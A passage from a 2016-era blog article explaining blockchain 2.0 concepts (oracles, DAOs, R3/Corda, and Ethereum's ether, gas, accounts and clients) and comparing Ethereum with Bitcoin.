Reference to a database considered &quot;trustworthy&quot; (for example in the case of a sports betting, possibility of referring to the result recorded on the site of a sports newspaper);
&lt;/li&gt;
&lt;li&gt;
Using a decentralized Oracle service. It is an existing service on the blockchain involving many participants. Each participant votes for the result he / she considers to be accurate and it is the consensus among the participants that determines the final result sent to the contract. Decentralized oracle projects already exist, notably the &lt;a href=&quot;http://www.oraclize.it/&quot;&gt;Oraclize&lt;/a&gt; project
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Long story short, the Oracle stands in between of the External world data or API and the Smart Contract.
&lt;br&gt;
As seen on the &lt;a href=&quot;http://www.oraclize.it/&quot;&gt;Oraclize&lt;/a&gt;  web site :
&lt;/p&gt;


&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/9360e56b-a11e-4f7f-b250-4b103595c382&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 400px;&quot; alt=&quot;Oraclize - between data and Smart Contracts&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/9360e56b-a11e-4f7f-b250-4b103595c382&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;The challenge with Oracles &lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
An oracle, in the blockchain sense, is a third party which sends to your on-chain smart contract some specific data your smart contract code cannot fetch by itself. As the oracle is a centralized party, one shouldn&apos;t take its response for granted.
&lt;br&gt;
While hacking the blockchain is proven to be very difficult and unlikely to happen, Oracle form a &lt;i&gt;Single Point of Failure&lt;/i&gt; and are vulnerable to attacks. 
&lt;/p&gt;
&lt;p&gt;
For example, if one asks an oracle to give last trading price of ETH/USD (forex), then the oracle needs to fetch this data from some exchanges on the Internet and than send this data back. 
&lt;br&gt;
An attacker could compromise the link between the Oracle and the Forex Exchange company and make the Oracle send back to the blockchain a compromised value. 
&lt;br&gt;
This is the reason why, by itself, the oracle cannot be trusted. 
&lt;/p&gt;
&lt;p&gt;
In the context of Smart Contracts, it is key to be able to trust the data fetched from the outside world and the data provider (in our example this is the exchange trading the ETH/USD pair) and this is difficult.
&lt;br&gt;
It the example above, the risk can be mitigated by using different data-sources and using them to determine consensus.
&lt;/p&gt;
&lt;p&gt;
Oraclizes provides its own solution to this trust issue and other initiatives work on other kind of solutions, for instance &lt;a href=&quot;https://github.com/codius/codius/wiki/Smart-Oracles:-A-Simple,-Powerful-Approach-to-Smart-Contracts&quot;&gt;Codius&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
Discussing this issue and its solutions further exceeds the scope of this article.
&lt;/p&gt;

&lt;a name=&quot;sec24&quot;&gt;&lt;/a&gt;
&lt;h3&gt;2.3 DAO&lt;/h3&gt;

&lt;p&gt;
Smart Contracts and blockchain 2.0 technologies have made possible the emergence of special organizations called DAOs.
&lt;/p&gt;
&lt;p&gt;
A &lt;b&gt;Decentralized Autonomous Organization (DAO)&lt;/b&gt; is an organization that is run through rules encoded in computer programs called smart contracts. These rules provide a community with unbreakable, secured, universal, public and untamperable governance rules. 
&lt;br&gt;
A DAO&apos;s financial transaction records and program rules are maintained on a blockchain.
&lt;/p&gt;
&lt;p&gt;
A DAO is organized to run without any form of human managerial interactivity, provided the smart contracts are supported by a Turing complete platform. Ethereum is such a platform and thus enables such DAOs.
&lt;/p&gt;
&lt;p&gt;
A DAO is a form of incorruptible organization owned by the people who created it and finance it and whose rules are public.
&lt;br&gt;
It brings three new elements in comparison with a traditional organization:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A DAO cannot be stopped or broken&lt;/li&gt;
&lt;li&gt;No single person or organization can control the DAO. None can tamper with it, hack it or cheat with it.&lt;/li&gt;
&lt;li&gt;Everything in the DAO is public and transparent&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
It really is a global organization, aimed at being open to everyone. It suffers of no jurisdiction and works with software code and where nobody can fraud.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Corporations and businesses as DAOs&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Corporations are, if you strip everything away down to the bare bones, a complex set of contracts and agreements. Most simplistically, employment contracts set the terms for workers pay, duties and responsibilities. Contracts with vendors and customers ensure supply chains are established and maintained. Lease agreements cover office space, vehicles, large machinery and rights to intellectual property.
&lt;br&gt;
And so on ... other parts or functions are covered by other contractual elements.
&lt;/p&gt;
&lt;p&gt;
Smart contracts exist without the need for those institutional layers. An organization can be built where all of these agreements are replaced by such smart contracts, and in essence the corporation will exist entirely as an entity on a blockchain. As such it will be a decentralized organization, existing across all the nodes of the network.
&lt;/p&gt;
&lt;p&gt;
A DAO would be in the business of generating economic profits if it were structured as a corporation (Decentralized Autonomous Corporation), and it could raise capital through crowdsales of tokens directly to the blockchain, akin to shares in a public company. Tokenholders would be entitled to their share of profits in the form of dividends, and could vote on the direction of the company. Those tokens could also trade on a secondary market (also on the blockchain) for people to buy and sell them at will.
&lt;/p&gt;

&lt;a name=&quot;sec3&quot;&gt;&lt;/a&gt;
&lt;h2&gt;3. Blockchain 2.0 projects&lt;/h2&gt;

&lt;p&gt;
After the initial blockchain of the Bitcoin, many other projects started to flourish pretty soon. Interstingly, the blockchainb appear to be able to give life to some concepts designed or discussed &lt;a href=&quot;https://bitcoinmagazine.com/articles/smart-contracts-described-by-nick-szabo-years-ago-now-becoming-reality-1461693751&quot;&gt;many years before&lt;/a&gt;.
&lt;br&gt;
Nick Szabo described Smart Contracts 20 years ago. Interestingly, he has been involved pretty early in the bitcoin project as well.
&lt;/p&gt;

&lt;a name=&quot;sec31&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.1 New Blockchain technologies&lt;/h3&gt;

&lt;p&gt;
In the world of Blockchain 2.0, the main difference between the different initiatives and technologies is really related to the form of support for Smart Contracts:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;table class=&quot;centered&quot; style=&quot;width: 600px; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;
&lt;tr style=&quot;background-color: #999999; font-weight: bold; color: white; &quot;&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;No Smart Contracts&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Smart Contracts possible&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Turing-Complete Smart Contracts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;What?&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Distributed transaction or accounting storage&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Distributed computing of logic available in pre-designed templates&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Distributed computing of any logic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Example technologies&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Bitcoin (public)&lt;br&gt;
Litecoin (public)&lt;br&gt;
Multichain (private)&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;
NXT (public) &lt;br&gt;
R3 (private)
&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;
Ethereum (public)&lt;br&gt;
Eris (private) &lt;br&gt;
Clearmatics (private)&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;Presentation of some of them&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Bitcoin&lt;/b&gt;&apos;s platform is great for processing bitcoin transactions, but otherwise has very limited compute ability. Within the scripts of bitcoin transactions there is only very limited ability to implement rich logic. 
&lt;br&gt;
An example of what is possible in bitcoin is logic requiring multiple signatories to sign a transaction before a payment is made, like needing two signatories in a cheque. However major changes would need to be made to both the mining functions and the mining incentivisation schemes to enable smart contracts proper on Bitcoin&apos;s blockchain. 
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;Sidechains&lt;/i&gt;, i.e. blockchains connected to Bitcoin&apos;s main blockchain could enable smart contract functionality: by having different blockchains running in parallel to Bitcoin, with an ability to jump value between Bitcoin&apos;s main chain and the side chains, side chains could be used to execute logic.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;NXT&lt;/b&gt; is an public blockchain platform which includes a selection of smart contracts that are currently live. However it is not &lt;i&gt;Turing-complete&lt;/i&gt;, meaning that it&apos;s not possible to code up anything one wants, one has to use the existing templates.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;R3/Corda&lt;/b&gt; is the private blockchain technology of the R3 consortium. The R3 consortium is constituted by more than 70 of the world biggest financial institutions in research and development of blockchain usage in the financial system. The consortium&apos;s joint efforts have created an open-source blockchain platform called &lt;i&gt;Corda&lt;/i&gt; especially geared towards the financial world as it handles more complex transactions and restricts access to transaction data. The aim of Corda is to provide a platform with common services to ensure that any services built on top are compatible between the network participants, whilst still fostering innovation and faster time to market as the underlying infrastructure would be accepted and understood by at least the founding firms.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Ethereum&lt;/b&gt; is a public blockchain platform which is currently the most advanced smart contract enabled blockchain. With a &quot;Turing complete&quot; coding system, theoretically one can put any possible logic into an Ethereum smart contract, and it will be run by the whole network. There are mechanisms in place to prevent abuse, and of course one needs to pay for compute power, by passing in &quot;ETH&quot; tokens, which act as payment for the miners who run the code. 
&lt;/p&gt;

&lt;a name=&quot;sec32&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.2 A focus on R3/Corda and Smart Contract &lt;i&gt;Templates&lt;/i&gt;&lt;/h3&gt;

&lt;p&gt;
Corda is a distributed ledger platform designed from the ground up to record, manage and synchronize financial agreements between regulated financial institutions. It is heavily inspired by and captures the benefits of blockchain systems, without the design choices that make blockchains inappropriate for many banking scenarios.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Key features&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
R3/Corda:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;has no unnecessary global sharing of data: only those parties with a legitimate need to know can see the data within an agreement&lt;/li&gt;
&lt;li&gt;choreographs workflow between firms without a central controller&lt;/li&gt;
&lt;li&gt;achieves consensus between firms at the level of individual deals, not the level of the system&lt;/li&gt;
&lt;li&gt;benefits from a design directly enabling regulatory and supervisory observer nodes&lt;/li&gt;
&lt;li&gt;provides transactions validated by parties to the transaction rather than a broader pool of unrelated validators&lt;/li&gt;
&lt;li&gt;supports a variety of consensus mechanisms&lt;/li&gt;
&lt;li&gt;records an explicit link between human-language legal prose documents and smart contract code&lt;/li&gt;
&lt;li&gt;has no native cryptocurrency&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
R3/Corda uses &lt;b&gt;Smart Contract Templates&lt;/b&gt; which captures a Smart Contract as &lt;b&gt;Ricardian Contract&lt;/b&gt; triple of &quot;&lt;i&gt;prose, parameters and code&lt;/i&gt;&quot;.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/47a12461-57ad-4547-b7e4-b85552e0a357&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 500px;&quot; alt=&quot;Corda Smart Contract Template&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/47a12461-57ad-4547-b7e4-b85552e0a357&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;This is a very specific model that won&apos;t be described further in this article. We will now mostly focus on &lt;i&gt;Turing-Complete&lt;/i&gt; Smart Contracts and specifically the Ethereum project.&lt;/b&gt;
&lt;/p&gt;
 

&lt;a name=&quot;sec33&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.3 A first focus on Ethereum and &lt;i&gt;Turing Complete&lt;/i&gt; Smart Contracts&lt;/h3&gt;

&lt;p&gt;
Ethereum is software running on a network of computers that ensures that data and small computer programs called smart contracts are replicated and processed on all the computers on the network, without a central coordinator. The vision is to create an unstoppable censorship-resistant self-sustaining decentralized world computer. The official website is &lt;a href=&quot;https://www.ethereum.org&quot;&gt;https://www.ethereum.org&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
It extends the blockchain concepts from Bitcoin which validates, stores, and replicates transaction data on many computers around the world (hence the term &apos;distributed ledger&apos;). Ethereum takes this one step further, and also runs computer code equivalently on many computers around the world.
&lt;/p&gt;
&lt;p&gt;
What Bitcoin does for distributed data storage, Ethereum does for distributed data storage plus computations. The small computer programs being run are called smart contracts, and the contracts are run by participants on their machines using a sort of operating system called a &quot;Ethereum Virtual Machine&quot;.
&lt;/p&gt;

&lt;a name=&quot;sec4&quot;&gt;&lt;/a&gt;
&lt;h2&gt;4. Ethereum in details&lt;/h2&gt;

&lt;p&gt;
The vision of Ethereum is an &lt;b&gt;unstoppable censorship-resistant sefl-sustaining decentralized world computer&lt;/b&gt;.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;table class=&quot;centered&quot; style=&quot;width: 600px; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;
&lt;tr style=&quot;background-color: #999999; font-weight: bold; color: white; &quot;&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Concept&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Description&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;ETH&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Ethereum&apos;s inbuilt native cryptocurrency, used for paying for smart contracts to run&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Ethereum VM, &lt;br&gt;Swarm and &lt;br&gt;Whisperer&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Decentralized Computer,&lt;br&gt; file storage and &lt;br&gt; communication protocols&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;&lt;b&gt;Solidity&lt;/b&gt;, Serpent and LLL&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Smart Contract Programming Language&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;&lt;code&gt;geth&lt;/code&gt;, &lt;code&gt;eth&lt;/code&gt;, &lt;code&gt;pyethapp&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;The main Ethereum software, written in different language&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;meteor-dapp-wallet, Mist&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;GUI applications running on top of &lt;code&gt;geth&lt;/code&gt; or &lt;code&gt;eth&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;&lt;i&gt;Frontier&lt;/i&gt;, &lt;i&gt;Homestead&lt;/i&gt;, &lt;i&gt;Metropolis&lt;/i&gt;, &lt;i&gt;Serenity&lt;/i&gt;&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Friendly names for different releases&lt;/td&gt;
&lt;/tr&gt;


&lt;/table&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
We will now see the concepts of Ethereum in a more detailed way.
&lt;/p&gt;


&lt;a name=&quot;sec41&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.1 Ethereum concepts&lt;/h3&gt;

&lt;p&gt;
Computers need to be able to calculate, store data, and communicate. For Ethereum to realize its vision as an unstoppable censorship-resistant self-sustaining decentralised &apos;world&apos; computer, it needs to be able to do those three things fairly efficiently and in a robust way.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Ethers&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The digital tokens or coins in Ethereum are called ether.  Ether are used as crypto fuel or costs of transaction. Developers have to use ether to submit smart contract rules/code to the blockchain and users have to spend or burn ether to invoke transactions for an application. Transactions will roll back if they run out of gas (the amount of ether specified).  Ether can be traded against bitcoins and other fiat currencies via cryptocurrency exchanges.
&lt;/p&gt;
&lt;p&gt;
As a matter of fact, there are several different currency names for different scales:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f7e82142-a7f0-4691-a726-8daec392e896&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 600px;&quot; alt=&quot;Ethereum money scale&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f7e82142-a7f0-4691-a726-8daec392e896&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
We&apos;ll indistinctly use Ether or simply &lt;i&gt;ETH&lt;/i&gt; below to design the Ethereum cryptocurrency.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Swarm and Whisper&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The &lt;b&gt;Ethereum Virtual Machine&lt;/b&gt; is the &quot;&lt;i&gt;virtual world computer&lt;/i&gt;&apos; compotent that can runs and executes smart contract&apos;s logic.
&lt;br&gt;
This is computation without relying on a central server.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Swarm&lt;/b&gt; is Peer-to-Peer file sharing, similar to BitTorrent, but incentivized with micropayments of Ethers. Files are split into chunks, distributed and stored with participating volunteers. These nodes that store and serve the chunks are compensated with ETH from those storing and retrieving the data. &lt;br&gt;
This is file storage without relying on a central server.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Whisper&lt;/b&gt; is an encrypted messaging protocol that allows nodes to send messages directly to each other in a secure way and that also hides the sender and receiver from third party snoopers.
&lt;br&gt;
This is communications without relying on a central server.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Smart Contract languages: Solidity / Serpent, LLL&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
There are three common languages smart contracts are written in, which can be compiled into smart contracts and run on Ethereum Virtual Machines. They are:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Solidity&lt;/b&gt; : similar to the language Javascript. This is currently the most popular and functional smart contract scripting language.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Serpent&lt;/b&gt; :  similar to the language Python, and was popular in the early history of Ethereum.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LLL (Lisp Like Language)&lt;/b&gt; : similar to Lisp and was only really used in the very early days. It is probably the hardest to write in.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Ethereum software: geth, eth, pyethapp&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The official Ethereum clients are all &lt;i&gt;open source&lt;/i&gt;. The most popular clients are:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;geth&lt;/code&gt;&lt;/b&gt; : written in a language called GO - &lt;a href=&quot;https://github.com/ethereum/go-ethereum&quot;&gt;https://github.com/ethereum/go-ethereum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;eth&lt;/code&gt;&lt;/b&gt; : written in C++ - &lt;a href=&quot;https://github.com/ethereum/cpp-ethereum&quot;&gt;https://github.com/ethereum/cpp-ethereum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;pyethapp&lt;/code&gt;&lt;/b&gt; : written in Python - &lt;a href=&quot;https://github.com/ethereum/pyethapp&quot;&gt;https://github.com/ethereum/pyethapp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
These are all command-line based programs (think green text on black backgrounds) and so additional software can be used for a nicer graphical interface. 
&lt;br&gt;
Currently the official and most popular graphical one is Mist - &lt;a href=&quot;https://github.com/ethereum/mist&quot;&gt;https://github.com/ethereum/mist&lt;/a&gt;, which runs on top of &lt;code&gt;geth&lt;/code&gt; or &lt;code&gt;eth&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Accounts&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In Bitcoin, there is a concept called &lt;i&gt;address&lt;/i&gt; where bitcoins are stored - like a bank account number, but for bitcoins. In Ethereum these are commonly called accounts and there are two types:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Accounts that only store ETH&lt;/b&gt; : these are similar to Bitcoin addresses and are sometimes known as Externally Owned Accounts (EOAs). One makes payments from these accounts by signing transactions with the appropriate private key.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Accounts that store ETH and have code (smart contracts) that can be run&lt;/b&gt; : these smart contracts are activated by a transaction sending ETH into it. Once the smart contract has been uploaded, it sits there waiting to be activated.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Apart from the fact whether an account stores code or not, the EVM treats the two types equally, though. Every account has a persistent key-value store mapping 256-bit words to 256-bit words called storage. Furthermore, every account has a balance in Ether (in &quot;Wei&quot; to be exact) which can be modified by sending transactions that include Ether.
&lt;/p&gt;
&lt;p&gt;
The fact that Smart Contracts on Ethereum have their own account is important. As a matter of fact, Smart Contracts instances can own ETH.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Gas and Gas Price&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Gas is the internal pricing for running a transaction or contract in Ethereum. It&apos;s purpose is to decouple the unit of Ether (ETH) and its market value from the unit to measure computational use (gas). 
&lt;br&gt;
A miner will use an amount of gas directly dependent on the amount of operations it needs to execute to run a Smart Contract or support an API all. If need be, the price of gas, i.e. the price of one unit of gas, can be increased or decreased independently in order to avoid a situation in which an increase in the price of ETH would cause the need to change all computing cost prices expressed in gas.
&lt;/p&gt;
&lt;p&gt;
The usage of this more concrete notion of gas and using a gas price in ETH makes the computation system independent from actual ETH market value.
&lt;/p&gt;
&lt;p&gt;
The gas system is not very different from the use of Kw for measuring electricity home use. One difference from actual energy market is that the originator of the transaction sets the price of gas, to which the miner can or not accept.
&lt;/p&gt;
&lt;p&gt;
The &lt;b&gt;gas price&lt;/b&gt; is a value set by the creator of the transaction, who has to pay [&lt;code&gt;gas_price * gas&lt;/code&gt;] up front from the sending account. If some gas is left after the execution, it is refunded in the same way.
&lt;br&gt;
This way, If ETH market value goes up, miners can agree on decreasing the gas price to keep computing cost constant, and the other way around.
&lt;/p&gt;
&lt;p&gt;
In addition, the &lt;b&gt;gas price&lt;/b&gt; per transaction or contract is set up to deal with the Turing Complete nature of Ethereum and its EVM (Ethereum Virtual Machine Code) - the idea being to limit infinite loops. So for example 10 Szabo, or 0.00001 Ether or 1 Gas can execute a line of code or some command. If there is not enough Ether in the account to perform the transaction or message then it is considered invalid. The idea is to stop denial of service attacks from infinite loops, encourage efficiency in the code - and to make an attacker pay for the resources they use, from bandwidth to CPU calculations through storage.
&lt;/p&gt;
&lt;p&gt;
The more complex the program one wants to execute, the more gas (and thus Ether) one has to pay. For example if A wants to send B one Ether unit - there would be a total cost of 1.00001 Ether to be paid by A. However if A wanted to form a contract with B depending on the future price of Ether, there would be more lines of code executable and more energy consumption placed on the distributed Ether network - and therefore A would have to pay more than the 1 Gas done in the transaction.
&lt;/p&gt;

&lt;a name=&quot;sec42&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.2 Ethereum and bitcoin differences&lt;/h3&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;table class=&quot;centered&quot; style=&quot;width: 600px; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;
&lt;tr style=&quot;background-color: #999999; font-weight: bold; color: white; &quot;&gt;
&lt;td style=&quot;border: 0px none; border-collapse: collapse;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Bitcoin&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Ethereum&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse; font-weight: bold;&quot;&gt;Applications&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Digital Cash&lt;br&gt;Merchant Payments&lt;br&gt;Currency Trading&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Smart Contracts Application Platform&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse; font-weight: bold;&quot;&gt;Ownership&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;No one owns Bitcoin. Developer community and mining pool consensus drives roadmap&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Ethereum Foundation develops the platform and roadmap for Ethereum&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse; font-weight: bold;&quot;&gt;Blockchain&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Blockchain is public and decentralized. &lt;br&gt; New blocks mined every 10 minutes. &lt;br&gt;SHA-256 Proof of Work and consensus verification.&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Blockchain is public and decentralized. &lt;br&gt; New blocks mined every 12 seconds. &lt;br&gt;Ethash proof of work and consensus verification. &lt;br&gt;Uncle blocks accepted&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse; font-weight: bold;&quot;&gt;Coins&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;15.3 million of a total possible of 21 millions bitcoins have been mined.&lt;br&gt;Current block reward of 25 bitcoins halving every 210&apos;000 blocks&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;72 million ethers premined &lt;br&gt; 5 ethers generated as block reward, 4.3 for uncle blocks. &lt;br&gt; No cap; linear rising annual ether limit.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse; font-weight: bold;&quot;&gt;Mining&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Full and light nodes are allowed. &lt;br&gt;Increasing barriers to CPU mining.&lt;br&gt;Near centralized mining industry with ASIC and FGPA mining in large scale data centers.&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Current Frontier release requires full nodes.&lt;br&gt;Ethash proof of work is ASIC resistant and memory hard. GPU friendly by design.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse; font-weight: bold;&quot;&gt;Trading&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Bitcoins have a market cap of about $6 billion and are trading around $400 in Q1 2016.&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Ether market cap approaching $1 billion trading at $11 in 2016.&lt;br&gt;Second largest cryptocoin by market cap.&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;Ethereum&apos;s block time is shorter&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In Ethereum the time between blocks is around 14 seconds, compared with Bitcoin&apos;s ~10 minutes. This means that on average if one made a Bitcoin transaction and an Ethereum transaction, the Ethereum transaction would be recorded into Ethereum&apos;s blockchain faster than the Bitcoin transaction getting into Bitcoin&apos;s blockchain. One could say Bitcoin writes to its database roughly every 10 minutes, whereas Ethereum writes to its database roughly every 14 seconds.
&lt;/p&gt;
&lt;p&gt;
If one followed carefully the first article int his serie (see introduction above), one knows that this has a consequence. A shorter time between blocks means much more &lt;i&gt;exctincts&lt;/i&gt; blocks and branches being created. A solution needed to be found to make it still interesting to miner to try to mine blocks in Ethereum. See notion of &lt;i&gt;uncles&lt;/i&gt; below.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Ethereum has smaller blocks&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In Bitcoin, the maximum block size is specified in bytes (currently 1 MB) whereas Ethereum&apos;s block size is based on complexity of contracts being run - it&apos;s known as a Gas limit per block, and the maximum can vary slightly from block to block. 
&lt;br&gt;
